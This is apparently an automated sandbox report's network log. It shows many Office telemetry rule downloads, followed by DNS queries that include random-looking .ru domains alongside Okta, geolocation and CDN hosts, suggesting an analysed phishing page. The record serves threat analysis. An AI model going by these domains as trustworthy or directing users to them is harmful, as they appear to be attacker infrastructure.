              Source: global trafficHTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficDNS traffic detected: DNS query: ufw.xcsyiuul.ru
              Source: global trafficDNS traffic detected: DNS query: code.jquery.com
              Source: global trafficDNS traffic detected: DNS query: cdnjs.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: developers.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: www.google.com
              Source: global trafficDNS traffic detected: DNS query: wvsdp.hxnywi.ru
              Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
              Source: global trafficDNS traffic detected: DNS query: github.com
              Source: global trafficDNS traffic detected: DNS query: ok4static.oktacdn.com
              Source: global trafficDNS traffic detected: DNS query: objects.githubusercontent.com
              Source: global trafficDNS traffic detected: DNS query: get.geojs.io
              Source: global trafficDNS traffic detected: DNS query: nilbeu7n2rgz5vmhnc7ygw6abfjbrgxkznhy7u1q5celdohgvcr5oxg0.xrfwss.ru
